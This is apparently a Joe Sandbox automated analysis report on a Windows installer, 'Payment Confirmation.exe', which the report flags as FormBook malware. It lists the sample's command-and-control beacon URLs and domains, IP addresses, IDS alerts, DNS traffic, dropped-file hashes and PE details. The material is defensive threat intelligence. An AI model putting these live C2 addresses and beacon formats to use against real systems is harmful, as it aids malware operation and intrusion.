www.anadolu.academy/b2c0/?
EN9pK2=oisE9+VmZgmAkkrchIKqNWGyfJvkxHxTzu9sANYqnymeIWLgjiN74zWNndmykH/eO
qLqSG+txg==&nZR4=4hr8Pfz

true Avira URL Cloud: safe unknown

www.unasolucioendesa.com/b2c0/?
EN9pK2=nxasyuVnQv2XAhCx9zKAxU4oBW67ilDivwaG6+ZxC2XBQxj4p4XVuU/9/EEmkzFjfV
H8yNww+g==&nZR4=4hr8Pfz

true Avira URL Cloud: safe unknown

www.lumberjackguitarloops.com/b2c0/?
nZR4=4hr8Pfz&EN9pK2=Evx8EsBGe658r9iJtrgJltnDGszJP9p4seEC1w1oB9OxckrwwA+Tpfg
bJDcWmrfnS5cDyGsxIQ==

true Avira URL Cloud: safe unknown

www.elliotpioneer.com/b2c0/?
nZR4=4hr8Pfz&EN9pK2=/Ci6lA1wHDq9VFgkYzq6dZWl1lKVRbc/m6zzwdji+NobEq0OLQXkZ
XfSz/GKNzBGFBcC52wWgA==

false Avira URL Cloud: safe unknown

www.altitudebc.com/b2c0/?
nZR4=4hr8Pfz&EN9pK2=Tgem/L35NV+dfrLXgk9e0bf+TOX6XAT/DQQ171WvvWAafG5cKA0
QEsXJDfpFnN+dx51z362pVQ==

true Avira URL Cloud: safe unknown

www.carts-amazon.com/b2c0/?
EN9pK2=HN6lmWAsN4eOR9yN7lRwrlIaFZSjtluPDfuHRsVFTQ6SUbSrxCD+Omdw+9AgIy4oh
KSIyg89VQ==&nZR4=4hr8Pfz

false Avira URL Cloud: safe unknown

www.atp-cayenne.com/b2c0/?
EN9pK2=ESINuQxl50fq+oqp7R8PJEZRcvMrOgZYniX8ZAjuMgliJzJjCEYTKkgZH+GsrKs/YLP
3GwXWaQ==&nZR4=4hr8Pfz

true Avira URL Cloud: safe unknown

www.thesewhitevvalls.com/b2c0/ true Avira URL Cloud: safe low

IP Domain Country Flag ASN ASN Name Malicious

52.206.159.80 propage.beatstars.com United States 14618 AMAZON-AESUS false

45.91.80.182 chinaopedia.com United Kingdom 209484 ASIANETGB true

172.105.103.207 www.thesewhitevvalls.com United States 63949 LINODE-APLinodeLLCUS true

62.210.5.81 www.atp-cayenne.com France 12876 OnlineSASFR true

34.102.136.180 playstarexch.com United States 15169 GOOGLEUS false

94.73.147.156 anadolu.academy Turkey 34619 CIZGITR true

82.98.134.154 www.unasolucioendesa.co
m

Spain 42612 DINAHOSTING-ASES true

3.223.115.185 HDRedirect-LB7-
5a03e1c2772e1c9c.elb.us-
east-1.amazonaws.com

United States 14618 AMAZON-AESUS false

URLs from Memory and Binaries

Contacted IPs

Public
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Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad.winEXE@7/2@11/8

EGA Information: Failed

HDC Information: Successful, ratio: 26.6% (good quality ratio 23.5%)
Quality average: 74.2%
Quality standard deviation: 33.2%

HCA Information: Successful, ratio: 78%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

No simulations

Match Associated Sample Name / URL SHA 256 Detection Link Context

52.206.159.80 2WK7SGkGVZ.exe Get hash malicious Browse  www.lumbe
rjackguita
rloops.com
/b2c0/?7nl
pd=Evx8EsB
DD995ptjzx
7gJltnDGsz
JP9p4seEC1
w1oB9Oxckr
wwA+TpfgbJ
DwZ5ennVPQ
W&5jlp=4halC6h

jnnbbMX9Ch.exe Get hash malicious Browse  www.lumbe
rjackguita
rloops.com
/b2c0/?3f=
Evx8EsBDD9
95ptjzx7gJ
ltnDGszJP9
p4seEC1w1o
B9OxckrwwA
+TpfgbJDwZ
5ennVPQW&B
Ze=kp3h4dC
8BXM0A010

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs
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https://view.joesandbox.com/analysis/391286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391286/html/none?idtype=webid
https://view.joesandbox.com/analysis/388459/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388459/html/none?idtype=webid


vbc.exe Get hash malicious Browse  www.lumbe
rjackguita
rloops.com
/b2c0/?yFN
4sV7X=Evx8
EsBDD995pt
jzx7gJltnD
GszJP9p4se
EC1w1oB9Ox
ckrwwA+Tpf
gbJDwZ5enn
VPQW&y48t=
zbm4GzHpaJR

DUE PAYMENT.exe Get hash malicious Browse  www.lumbe
rjackguita
rloops.com
/b2c0/?2dp
PwJP=Evx8E
sBDD995ptj
zx7gJltnDG
szJP9p4seE
C1w1oB9Oxc
krwwA+Tpfg
bJDwZ5ennV
PQW&YVeD=T
X_h

678901.exe Get hash malicious Browse  www.lumbe
rjackguita
rloops.com
/b2c0/?T0D
Tobah=Evx8
EsBGe658r9
iJtrgJltnD
GszJP9p4se
EC1w1oB9Ox
ckrwwA+Tpf
gbJDcWmrfn
S5cDyGsxIQ
==&XXut=Dt
HTzXpHJvwTW

SOA.exe Get hash malicious Browse  www.lumbe
rjackguita
rloops.com
/b2c0/?3ff
=y6AT2b&m4
C=Evx8EsBG
e658r9iJtr
gJltnDGszJ
P9p4seEC1w
1oB9Oxckrw
wA+TpfgbJA
wG6aDcVM1S

Details for bookings.exe Get hash malicious Browse  www.super
bbsuper.co
m/t052/?nd
ndnH=UtWlr
Po0yz28&Aj
R=dnoQ9Fq0
Tjgk912J2n
PmmxMg6AfD
nqRukncs3a
ir9eV/cbfs
kXhsbeNgpy
NtUTPj9Sxb

45.91.80.182 jnnbbMX9Ch.exe Get hash malicious Browse  www.china
opedia.com
/b2c0/?3f=
qdiIlJawxd
wAaLin48sa
7+Uw/DbrhX
lci2BZlXFu
RXTISdQByq
YUnROnYcW7
pTjsxcMH&p
RvL1=_T_XyD6

Match Associated Sample Name / URL SHA 256 Detection Link Context

Copyright Joe Security LLC 2021 Page 14 of 28

https://view.joesandbox.com/analysis/388377/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388377/html/none?idtype=webid
https://view.joesandbox.com/analysis/383916/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383916/html/none?idtype=webid
https://view.joesandbox.com/analysis/383569/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383569/html/none?idtype=webid
https://view.joesandbox.com/analysis/382642/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382642/html/none?idtype=webid
https://view.joesandbox.com/analysis/256187/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256187/html/none?idtype=webid
https://view.joesandbox.com/analysis/388459/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388459/html/none?idtype=webid


vbc.exe Get hash malicious Browse  www.china
opedia.com
/b2c0/?yFN
4sV7X=qdiI
lJawxdwAaL
in48sa7+Uw
/DbrhXlci2
BZlXFuRXTI
SdQByqYUnR
OnYcW7pTjs
xcMH&9redQ
X=Kxl0dTlPOf

CpUNO6WMEm.exe Get hash malicious Browse  www.china
opedia.com
/b2c0/?m48
dC6Y=qdiIl
JawxdwAaLi
n48sa7+Uw/
DbrhXlci2B
ZlXFuRXTIS
dQByqYUnRO
nYcW7pTjsx
cMH&Zj=DBZlR

DUE PAYMENT.exe Get hash malicious Browse  www.china
opedia.com
/b2c0/?2dp
PwJP=qdiIl
JawxdwAaLi
n48sa7+Uw/
DbrhXlci2B
ZlXFuRXTIS
dQByqYUnRO
nYcW7pTjsx
cMH&uN9=3f
PH4rk8fd4xHD

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

propage.beatstars.com 2WK7SGkGVZ.exe Get hash malicious Browse 52.206.159.80

jnnbbMX9Ch.exe Get hash malicious Browse 52.206.159.80

vbc.exe Get hash malicious Browse 52.206.159.80

DUE PAYMENT.exe Get hash malicious Browse 52.206.159.80

678901.exe Get hash malicious Browse 52.206.159.80

SOA.exe Get hash malicious Browse 52.206.159.80

Details for bookings.exe Get hash malicious Browse 52.206.159.80

EME_PO.47563.xlsx Get hash malicious Browse 52.206.159.80

www.thesewhitevvalls.com pKD3j672HL.exe Get hash malicious Browse 172.105.10
3.207

DEUXRWq2W8.exe Get hash malicious Browse 172.105.10
3.207

09090.xlsx Get hash malicious Browse 172.105.10
3.207

82051082.exe Get hash malicious Browse 172.105.10
3.207

8205108.exe Get hash malicious Browse 172.105.10
3.207

2WK7SGkGVZ.exe Get hash malicious Browse 172.105.10
3.207

jnnbbMX9Ch.exe Get hash malicious Browse 172.105.10
3.207

vbc.exe Get hash malicious Browse 172.105.10
3.207

CpUNO6WMEm.exe Get hash malicious Browse 50.17.5.224

Match Associated Sample Name / URL SHA 256 Detection Link Context

ASIANETGB jnnbbMX9Ch.exe Get hash malicious Browse 45.91.80.182

vbc.exe Get hash malicious Browse 45.91.80.182

CpUNO6WMEm.exe Get hash malicious Browse 45.91.80.182

DUE PAYMENT.exe Get hash malicious Browse 45.91.80.182

sprogr.exe Get hash malicious Browse 155.235.98.69

dmtkgN4tPg.exe Get hash malicious Browse 91.216.190.111

googlechrome_3843.exe Get hash malicious Browse 155.235.80.79

Domains

ASN
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https://view.joesandbox.com/analysis/388377/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388377/html/none?idtype=webid
https://view.joesandbox.com/analysis/387349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387349/html/none?idtype=webid
https://view.joesandbox.com/analysis/383916/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383916/html/none?idtype=webid
https://view.joesandbox.com/analysis/391286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391286/html/none?idtype=webid
https://view.joesandbox.com/analysis/388459/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388459/html/none?idtype=webid
https://view.joesandbox.com/analysis/388377/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388377/html/none?idtype=webid
https://view.joesandbox.com/analysis/383916/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383916/html/none?idtype=webid
https://view.joesandbox.com/analysis/383569/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383569/html/none?idtype=webid
https://view.joesandbox.com/analysis/382642/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382642/html/none?idtype=webid
https://view.joesandbox.com/analysis/256187/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256187/html/none?idtype=webid
https://view.joesandbox.com/analysis/241536/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241536/html/none?idtype=webid
https://view.joesandbox.com/analysis/393785/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393785/html/none?idtype=webid
https://view.joesandbox.com/analysis/393709/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393709/html/none?idtype=webid
https://view.joesandbox.com/analysis/393301/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393301/html/none?idtype=webid
https://view.joesandbox.com/analysis/392745/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392745/html/none?idtype=webid
https://view.joesandbox.com/analysis/392492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392492/html/none?idtype=webid
https://view.joesandbox.com/analysis/391286/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391286/html/none?idtype=webid
https://view.joesandbox.com/analysis/388459/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388459/html/none?idtype=webid
https://view.joesandbox.com/analysis/388377/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388377/html/none?idtype=webid
https://view.joesandbox.com/analysis/387349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387349/html/none?idtype=webid
https://view.joesandbox.com/analysis/388459/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388459/html/none?idtype=webid
https://view.joesandbox.com/analysis/388377/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388377/html/none?idtype=webid
https://view.joesandbox.com/analysis/387349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387349/html/none?idtype=webid
https://view.joesandbox.com/analysis/383916/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383916/html/none?idtype=webid
https://view.joesandbox.com/analysis/382534/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382534/html/none?idtype=webid
https://view.joesandbox.com/analysis/353176/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/353176/html/none?idtype=webid
https://view.joesandbox.com/analysis/247848/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247848/html/none?idtype=webid


SecuriteInfo.com.Trojan.DnsChange.10846.3052.exe Get hash malicious Browse 23.236.69.114

AMAZON-AESUS Payment Information MT103.exe Get hash malicious Browse 18.215.13.95

qalTySElfj Get hash malicious Browse 34.226.20.105

rLGunciziY Get hash malicious Browse 54.196.47.175

JuufQURFPh.exe Get hash malicious Browse 50.16.216.118

ut5yFyWEDd Get hash malicious Browse 44.222.19.141

jew.x86 Get hash malicious Browse 54.167.221.252

ckYh27IjHJ Get hash malicious Browse 34.236.224.188

TM2ALMOZ8Q Get hash malicious Browse 18.205.154.215

cM5cZsOugg Get hash malicious Browse 54.138.164.249

jew.x86 Get hash malicious Browse 35.172.163.150

DHL-Waybill.exe Get hash malicious Browse 54.208.212.1

UaBxIF11A6 Get hash malicious Browse 54.82.231.227

80wVQ9c87m Get hash malicious Browse 34.238.201.118

ubr43ro8gn Get hash malicious Browse 52.3.190.129

DQak2G9Ly5 Get hash malicious Browse 44.196.235.84

x86 Get hash malicious Browse 54.53.174.239

sora.x86 Get hash malicious Browse 44.192.229.159

xd.arm Get hash malicious Browse 52.0.161.15

R0987653400008789.exe Get hash malicious Browse 50.17.226.156

pKD3j672HL.exe Get hash malicious Browse 23.21.157.88

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

No context

C:\Users\user\AppData\Local\Temp\jkajud1yvpgnu8q

Process: C:\Users\user\Desktop\Payment Confirmation.exe

File Type: data

Category: dropped

Size (bytes): 219451

Entropy (8bit): 7.993041781240184

Encrypted: true

SSDEEP: 6144:6YaKKKKKKKKKKKKKQytJ7SVtrHTKld2xozO6:vJWLrHAIuzO6

MD5: D1F72710AC133640BEEE60FCF6237F37

SHA1: E5153D750F3C97EA0227BFE83BE3B6E98F4A1B50

SHA-256: B8C3F629761EF0C1FADBE9111356C7F82947BE6CECD42F2C5238E0A6101D0A1A

SHA-512: 504151BF950F495BD031ADAE6887A3D09E5DC3C9E993541B92422A76230E38593B6A00705A7E3CD07066A05409A98366CFE98118D7C97102E90E5D58D9594388

Malicious: false

Reputation: low

Preview:
..3.0..9..q(....X..Ad.`..2.......^~........{.g...H1\.Uny...?...:AdD...e..f...{[...qQcC......Q.2MZ_...UT$Ir.......(_.."'..&.1..L$.}..^.6.B...` '.L..*....+.......M.B..cn?..O.m.E.X....2.._kTq.......4.0..
7$....?%.0B.... U..3c'.u...G.}<Cu.."_..a.S.}..8....9.|.......Q..z.".;..kF.....^~.......<.{.g...H1\.Uny.V.?.R..A.(W.).......;n\........?A..q$..$.Ar<..g....v...!2RP..."'..&/.\*:.....i$....\.N...1$.....H
.GJ./d.|..n........]F.m.X...Wm2.=q.T......,.....k7n..w.?%.0B.....U..3c'y6.....}.Cu.e"_..a.S.}......9.<...m...Q..O...;..k......^~........{.g...H1\.Uny.V.?.R..A.(W.).......;n\........?A..q$..$
.Ar<..g....v...!2RP..."'..&/.\*:.....i$....\.N...1$.....H.GJ./d.|..n.....n?..O.m.._X.0m2._!.Tq.....,.....k7$....?%.0B.....U..3c'y6.....}.Cu.e"_..a.S.}......9.<...m...Q..O...;..k......^~........{.g...H
1\.Uny.V.?.R..A.(W.).......;n\........?A..q$..$.Ar<..g....v...!2RP..."'..&/.\*:.....i$....\.N...1$.....H.GJ./d.|..n.....n?..O.m.._X.0m2._!.Tq.....,.....k7$....?%.0B.....U..3c

C:\Users\user\AppData\Local\Temp\nsp1E48.tmp\nawgsdqut.dll

Process: C:\Users\user\Desktop\Payment Confirmation.exe

File Type: PE32 executable (DLL) (native) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 107008

Entropy (8bit): 6.3935752740603675

Encrypted: false

SSDEEP: 1536:XlGfGAPqPOicsu0WpmS89PdDeSGTzIfTw83qVlIHyaaEil3Wkly9ncobUfs+ulZ6:1GfGAIOqXSKS13nKixlyrquv

MD5: D4233FEFC9328CC30B0EF014BEB2F51B

SHA1: 302180A5EDB1FD653D7884BB60172E6EDFBBEAC4

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/182121/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/182121/html/none?idtype=webid
https://view.joesandbox.com/analysis/394623/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394623/html/none?idtype=webid
https://view.joesandbox.com/analysis/394553/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394553/html/none?idtype=webid
https://view.joesandbox.com/analysis/394524/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394524/html/none?idtype=webid
https://view.joesandbox.com/analysis/394510/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394510/html/none?idtype=webid
https://view.joesandbox.com/analysis/394478/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394478/html/none?idtype=webid
https://view.joesandbox.com/analysis/394381/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394381/html/none?idtype=webid
https://view.joesandbox.com/analysis/394377/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394377/html/none?idtype=webid
https://view.joesandbox.com/analysis/394293/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394293/html/none?idtype=webid
https://view.joesandbox.com/analysis/394287/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394287/html/none?idtype=webid
https://view.joesandbox.com/analysis/394282/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394282/html/none?idtype=webid
https://view.joesandbox.com/analysis/394014/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394014/html/none?idtype=webid
https://view.joesandbox.com/analysis/393998/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393998/html/none?idtype=webid
https://view.joesandbox.com/analysis/393995/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393995/html/none?idtype=webid
https://view.joesandbox.com/analysis/393992/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393992/html/none?idtype=webid
https://view.joesandbox.com/analysis/393987/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393987/html/none?idtype=webid
https://view.joesandbox.com/analysis/393963/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393963/html/none?idtype=webid
https://view.joesandbox.com/analysis/393929/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393929/html/none?idtype=webid
https://view.joesandbox.com/analysis/393900/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393900/html/none?idtype=webid
https://view.joesandbox.com/analysis/393801/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393801/html/none?idtype=webid
https://view.joesandbox.com/analysis/393785/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393785/html/none?idtype=webid


Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows, 

Nullsoft Installer self-extracting archive

Entropy (8bit): 7.4809595381543454

TrID: Win32 Executable (generic) a (10002005/4) 
99.96%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel) 
(7/3) 0.00%

File name: Payment Confirmation.exe

File size: 455901

MD5: 98ffc3c812e6cec919ebd286973e2002

SHA1: b0d1a65445a7923870ad23ec4d80f592e808c987

SHA256: 014d0ece0d472eaea73698d634308303ddb9f227f39d339
a66416c3cb744d2c1

SHA512: 5875f8f2c736cbf501c25635f5c9014e499a7fce01f13931
5cbf5c0d3c45e1e8568a9fa8ddfe60cb0a44804a7677fdc
d411eab4be6177926649b1b691d97a721

SSDEEP: 6144:hBlL/NDevWMKIPT48zhmgL58KCjuLkTMm6GBX
3KTDDC3cz/3aKkm3HC:n6B8KC4kTrV3KlziKkR

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$........0(..QF..
QF..QF.*^...QF..QG.qQF.*^...QF..rv..QF..W@..QF.Rich.
QF.........PE..L...e:.V.................\...........0.......p....@

File Icon

Icon Hash: d2e2ececd2e4b8c0

SHA-256: 1827A3002964434B0ACFF1359241948E334148D3413312CFEA326CAE8F269758

SHA-512: B3E19C83E631B6A8B8B0D00AB14AF811519765B737F1497F27E8C3A8C3328038967DBB6095671E4095AF48D6355B5F13CEC20C38EF2DFB14CC2AE8E9482DE4AF

Malicious: false

Antivirus: Antivirus: ReversingLabs, Detection: 3%

Reputation: low

Preview:
MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....{fa...........!....."...|.......*..........................................................
....................<...J...........................................................................h]..H...............|............................text...A .......".................. ..`.rdata...R...@...T...&..............@..@.data....C..
.....&...z..............@....rsrc...............................@..@................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..........

C:\Users\user\AppData\Local\Temp\nsp1E48.tmp\nawgsdqut.dll

General
Entrypoint: 0x4030fb

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, 
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

DLL Characteristics: TERMINAL_SERVER_AWARE

Time Stamp: 0x56FF3A65 [Sat Apr  2 03:20:05 2016 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Static PE Info
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Snort IDS Alerts

Network Port Distribution

Import Hash: b76363e9cb88bf9390860da8e50999d2

General

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x5aeb 0x5c00 False 0.665123980978 data 6.42230569414 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.rdata 0x7000 0x1196 0x1200 False 0.458984375 data 5.20291736659 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

.data 0x9000 0x1b038 0x600 False 0.432291666667 data 4.0475118296 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.ndata 0x25000 0x8000 0x0 False 0 empty 0.0 IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_CNT_UNINITIALIZED_
DATA, IMAGE_SCN_MEM_READ

.rsrc 0x2d000 0x28068 0x28200 False 0.26199255257 data 5.8434826371 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

10/13/21-
16:32:21.743198

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49796 34.102.136.180 192.168.2.6

10/13/21-
16:32:42.685873

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49809 34.102.136.180 192.168.2.6

10/13/21-
16:32:48.382262

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49810 80 192.168.2.6 172.105.103.207

10/13/21-
16:32:48.382262

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49810 80 192.168.2.6 172.105.103.207

10/13/21-
16:32:48.382262

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49810 80 192.168.2.6 172.105.103.207

10/13/21-
16:33:00.400927

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49840 34.102.136.180 192.168.2.6

10/13/21-
16:33:20.400217

TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49843 80 192.168.2.6 134.122.133.171

10/13/21-
16:33:20.400217

TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49843 80 192.168.2.6 134.122.133.171

10/13/21-
16:33:20.400217

TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49843 80 192.168.2.6 134.122.133.171

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 13, 2021 16:32:21.559715986 CEST 192.168.2.6 8.8.8.8 0x6151 Standard query 
(0)

www.playst
arexch.com

A (IP address) IN (0x0001)

Oct 13, 2021 16:32:26.761162996 CEST 192.168.2.6 8.8.8.8 0xa361 Standard query 
(0)

www.anadol
u.academy

A (IP address) IN (0x0001)

Oct 13, 2021 16:32:31.888350964 CEST 192.168.2.6 8.8.8.8 0xeece Standard query 
(0)

www.altitu
debc.com

A (IP address) IN (0x0001)

Oct 13, 2021 16:32:37.304816961 CEST 192.168.2.6 8.8.8.8 0xa6ff Standard query 
(0)

www.unasol
ucioendesa.com

A (IP address) IN (0x0001)

Oct 13, 2021 16:32:42.526494026 CEST 192.168.2.6 8.8.8.8 0xcad5 Standard query 
(0)

www.elliot
pioneer.com

A (IP address) IN (0x0001)

Oct 13, 2021 16:32:47.702405930 CEST 192.168.2.6 8.8.8.8 0x8971 Standard query 
(0)

www.thesew
hitevvalls.com

A (IP address) IN (0x0001)

Oct 13, 2021 16:32:53.922291040 CEST 192.168.2.6 8.8.8.8 0x55a Standard query 
(0)

www.lumber
jackguitar
loops.com

A (IP address) IN (0x0001)

Oct 13, 2021 16:33:00.220139980 CEST 192.168.2.6 8.8.8.8 0xfacb Standard query 
(0)

www.carts-
amazon.com

A (IP address) IN (0x0001)

Oct 13, 2021 16:33:05.489540100 CEST 192.168.2.6 8.8.8.8 0x746f Standard query 
(0)

www.chinao
pedia.com

A (IP address) IN (0x0001)

Oct 13, 2021 16:33:11.264848948 CEST 192.168.2.6 8.8.8.8 0x113b Standard query 
(0)

www.atp-ca
yenne.com

A (IP address) IN (0x0001)

Oct 13, 2021 16:33:16.845551968 CEST 192.168.2.6 8.8.8.8 0xc659 Standard query 
(0)

www.6233v.com A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 13, 2021 
16:32:21.604350090 
CEST

8.8.8.8 192.168.2.6 0x6151 No error (0) www.playst
arexch.com

playstarexch.com CNAME 
(Canonical 
name)

IN (0x0001)

Oct 13, 2021 
16:32:21.604350090 
CEST

8.8.8.8 192.168.2.6 0x6151 No error (0) playstarex
ch.com

34.102.136.180 A (IP address) IN (0x0001)

Oct 13, 2021 
16:32:26.777719975 
CEST

8.8.8.8 192.168.2.6 0xa361 No error (0) www.anadol
u.academy

anadolu.academy CNAME 
(Canonical 
name)

IN (0x0001)

Oct 13, 2021 
16:32:26.777719975 
CEST

8.8.8.8 192.168.2.6 0xa361 No error (0) anadolu.ac
ademy

94.73.147.156 A (IP address) IN (0x0001)

Oct 13, 2021 
16:32:31.994424105 
CEST

8.8.8.8 192.168.2.6 0xeece No error (0) www.altitu
debc.com

HDRedirect-LB7-
5a03e1c2772e1c9c.elb.u
s-east-1.amazonaws.com

CNAME 
(Canonical 
name)

IN (0x0001)

Oct 13, 2021 
16:32:31.994424105 
CEST

8.8.8.8 192.168.2.6 0xeece No error (0) HDRedirect-LB7-
5a03e
1c2772e1c9
c.elb.us-east-
1.amaz
onaws.com

3.223.115.185 A (IP address) IN (0x0001)

Oct 13, 2021 
16:32:37.421803951 
CEST

8.8.8.8 192.168.2.6 0xa6ff No error (0) www.unasol
ucioendesa.com

82.98.134.154 A (IP address) IN (0x0001)

Oct 13, 2021 
16:32:42.550077915 
CEST

8.8.8.8 192.168.2.6 0xcad5 No error (0) www.elliot
pioneer.com

elliotpioneer.com CNAME 
(Canonical 
name)

IN (0x0001)

Oct 13, 2021 
16:32:42.550077915 
CEST

8.8.8.8 192.168.2.6 0xcad5 No error (0) elliotpioneer.com 34.102.136.180 A (IP address) IN (0x0001)

Oct 13, 2021 
16:32:47.809142113 
CEST

8.8.8.8 192.168.2.6 0x8971 No error (0) www.thesew
hitevvalls.com

172.105.103.207 A (IP address) IN (0x0001)

Oct 13, 2021 
16:32:53.953161001 
CEST

8.8.8.8 192.168.2.6 0x55a No error (0) www.lumber
jackguitar
loops.com

propage.beatstars.com CNAME 
(Canonical 
name)

IN (0x0001)

Oct 13, 2021 
16:32:53.953161001 
CEST

8.8.8.8 192.168.2.6 0x55a No error (0) propage.be
atstars.com

52.206.159.80 A (IP address) IN (0x0001)

Oct 13, 2021 
16:33:00.266294003 
CEST

8.8.8.8 192.168.2.6 0xfacb No error (0) www.carts-
amazon.com

carts-amazon.com CNAME 
(Canonical 
name)

IN (0x0001)

TCP Packets

UDP Packets

DNS Queries

DNS Answers
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Oct 13, 2021 
16:33:00.266294003 
CEST

8.8.8.8 192.168.2.6 0xfacb No error (0) carts-amaz
on.com

34.102.136.180 A (IP address) IN (0x0001)

Oct 13, 2021 
16:33:05.524667978 
CEST

8.8.8.8 192.168.2.6 0x746f No error (0) www.chinao
pedia.com

chinaopedia.com CNAME 
(Canonical 
name)

IN (0x0001)

Oct 13, 2021 
16:33:05.524667978 
CEST

8.8.8.8 192.168.2.6 0x746f No error (0) chinaopedia.com 45.91.80.182 A (IP address) IN (0x0001)

Oct 13, 2021 
16:33:11.299397945 
CEST

8.8.8.8 192.168.2.6 0x113b No error (0) www.atp-ca
yenne.com

62.210.5.81 A (IP address) IN (0x0001)

Oct 13, 2021 
16:33:17.104530096 
CEST

8.8.8.8 192.168.2.6 0xc659 No error (0) www.6233v.com twyg-
9639v.com.txwlcdn13.co
m

CNAME 
(Canonical 
name)

IN (0x0001)

Oct 13, 2021 
16:33:17.104530096 
CEST

8.8.8.8 192.168.2.6 0xc659 No error (0) twyg-9639v
